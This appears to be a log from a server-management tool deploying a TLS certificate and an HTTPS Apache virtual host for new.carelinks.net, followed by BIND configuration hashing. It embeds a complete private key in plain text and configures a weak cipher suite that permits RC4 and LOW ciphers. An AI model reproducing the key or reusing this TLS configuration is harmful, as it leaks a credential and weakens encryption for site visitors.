MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-29 21:51:54: Establishing a connection
2025-12-29 21:51:54: 

PUT: /tmp/pkp303523

#!/bin/bash
temp_file=$(mktemp)
TARGET=c13083ef22e4da45778cd2f50f19c2de.crt

cat > $temp_file <<'endmsg'
c1:30:83:ef:22:e4:da:45:77:8c:d2:f5:0f:19:c2:de

-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIUI9y9S78AZUPxWoEo8B7X+R/4FGAwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTIyOTIxNTE1NFoXDTI2MTIyOTIxNTE1NFow
HDEaMBgGA1UEAwwRbmV3LmNhcmVsaW5rcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCaXtVW0WAm1+0PI4xHhNSjj622IrQ2bxVcV81va1UesNUl
XoDgdnpQB1t0wbJnYSog4hX8HVKjaEZrEnfiZMxMZuY2QkEyUahcHQhqhC2o9yfN
3lSfveg/BLl63erHmnPfHatsYRmAXJ8a99cWLksXEj7G+xhirB4VQQdHp/lBGey1
6HqG2fSqq5+JscME0LidPJgazs7wu0kbX9rvcIXtfB6KcTPrKdny/M5E0Le5ir+n
w45EJl0H7kJW48bbjvRa5/ISzVwD9I2MWLZx49FjpoCLLbDtIH73+0UU+RXAEIOT
FKFOYIDl2cr4xWZZcDHcSkEGRsE8dEAyUL+EPLStAgMBAAGjeDB2MB0GA1UdDgQW
BBQEzU41afGSHxPgwxn6tLHQTeelEDAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQD
OIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAcBgNVHREEFTATghFuZXcu
Y2FyZWxpbmtzLm5ldDANBgkqhkiG9w0BAQsFAAOCAQEAorxPuuKAD3qYLOae1fCs
IeoBsJHioT4MR5zvtiB/52CdBtGQf6/zXc31pgUiMEgUsOqZGudCEcTSOHpQadvp
8m9vVUG21yMXV/aZuF3V6jKENsiQvIM6RgE2i92X4JvvwbdD0GmsL+y7Km3QojfP
6wF0X/yWqowzXrBqzs1179A27gF/eEFvKJNl6kW1XcsQRN8/VIeFIUVNCypgMUmb
Y4DDb7ahxhxReRudqX2+JtzeuRlG/fsiE0N2CkNn8qgd3/+Bo2cJmV/611bMGZoe
lgvPDkfyOQLcNwmYrMYiyd0gM3XiBqJ4KOsC+oGHDDesVZWLmkyblfjVUIqF6brP
aA==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCaXtVW0WAm1+0P
I4xHhNSjj622IrQ2bxVcV81va1UesNUlXoDgdnpQB1t0wbJnYSog4hX8HVKjaEZr
EnfiZMxMZuY2QkEyUahcHQhqhC2o9yfN3lSfveg/BLl63erHmnPfHatsYRmAXJ8a
99cWLksXEj7G+xhirB4VQQdHp/lBGey16HqG2fSqq5+JscME0LidPJgazs7wu0kb
X9rvcIXtfB6KcTPrKdny/M5E0Le5ir+nw45EJl0H7kJW48bbjvRa5/ISzVwD9I2M
WLZx49FjpoCLLbDtIH73+0UU+RXAEIOTFKFOYIDl2cr4xWZZcDHcSkEGRsE8dEAy
UL+EPLStAgMBAAECggEABA8eznXacKMIW3fMkjvaqINYZrviX7ULi35Oi1G37wLo
0974hg5veGe9HqSSN5gtNqijOdoeiGfvRBT7/IK4gYDKKF6VHsjZY7SqujxIBBOd
oxLnyDyC3RdXdjTcHcwApHr//S1PcZnd4CRori9g75Yd+vbyxPNwJhBr69Utn2nP
5DGeatZjWGsMATpZ9rbo0Y+TSAq5kjRtrEF7J8l5JEz9UxzgOxZGsQnH/3m55i2W
vY+8PZ0oyaMbcxQurXnh1/5ugNuN7xugScxZrSre2EKoIvJJWi+PdZgq2usp0otu
IoE0gv5xAzacKpJ21dCBgcjxdibpLfuGa6cVdcC8IQKBgQDJ3LUnsxCb5jmFSwWD
jmLIiUvrNtOGdWpOlv0MVTespdbwYpbFKZ8cS+qzeIPxrU6q/bBq6FAA1ZLfJFww
h8U6J+o82xdEIVjfk+2Q5H+3rSWqcKSUGcRmUO8yxvkLS0D4qTiMY8lqnUBBdac3
qu0C8ak1RnF3+mw6i47NUftA4QKBgQDDxXpkLYGkHULo/qET430fb0fwR9kGKWMx
5r6gzqS2GwWJprpUnZcami//Ddqzaw17s/6XqessNL/fgvQR1BhEJv3IVqO9iek0
UFfpkeo+wiCpTGzEqVTLo98af+mSsFgmnENAc3RvboAm4XgSoyvlTPsb2oSbnHjK
dl1bSYNRTQKBgGIngqLCLFJSGSgaOZ0lkB0IvbSq3SHlWALM4lCr4z19Ck2q8rr+
KRL+SypncGkEp1r3rl/dhIFTWG5OZNFoQ1uq6vgaZG7JdEiKypqIsR2kAMumqDAn
c1t5AUaEf7ahKf9/cTK6lsbTndn2lo+3+jVTQr7X+Pao+xVgpNhrg6uhAoGAf6SA
OlTZVBGoEJYEnB0U9avusaGGxNezT1PtMpfJGNrhb3B/yK+/V570cE2uLJE+B0vC
UUx+gyIZgDe3vvAUqkrp6PdkZy5GGM/Rof57RlP4S6oCuO7W1LeRvYts1TGZKAN2
bc1ZO1ZGxBL54Nz2v9jDWNPO5k7NCuTF1cFGl3kCgYEApm4VpkZ4rRYGp5VN9nbK
wC2ZrySwxUDFOCUJURbuq1pXvKm+uwcaxvjaNoBnZcXpG8zHbfyLilwCF33n+zQ7
PSy5UoN8ceWgZszAUtmJ2GPV+6gSan0cXQumXoFsnZPpU4QO/vEmrqNR5+rbWYbY
4sdEHvsiju8a3NOUam8qLIw=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-29 21:51:55: 

chmod 755 /tmp/pkp303523; /tmp/pkp303523; rm /tmp/pkp303523

2025-12-29 21:51:55: 


dir=/etc/ssl/certs


2025-12-29 21:51:55: 

PUT: /tmp/pkp810071

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 21:51:55: 

chmod 755 /tmp/pkp810071; /tmp/pkp810071; rm /tmp/pkp810071

2025-12-29 21:51:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-12-29 21:51:55: 

PUT: /tmp/pkp556171

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=/var/www/carelinks_new
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/carelinks
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi


2025-12-29 21:51:55: 

chmod 755 /tmp/pkp556171; /tmp/pkp556171; rm /tmp/pkp556171

2025-12-29 21:51:55: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf
file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2025-12-29 21:51:55: 

PUT: /tmp/pkp177668

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-29 21:51:55: 

chmod 755 /tmp/pkp177668; /tmp/pkp177668; rm /tmp/pkp177668

2025-12-29 21:51:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-29 21:51:55: Establishing a connection
2025-12-29 21:51:55: 

PUT: /tmp/pkp634652

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-29 21:51:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp634652; rm /tmp/pkp634652'

2025-12-29 21:51:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
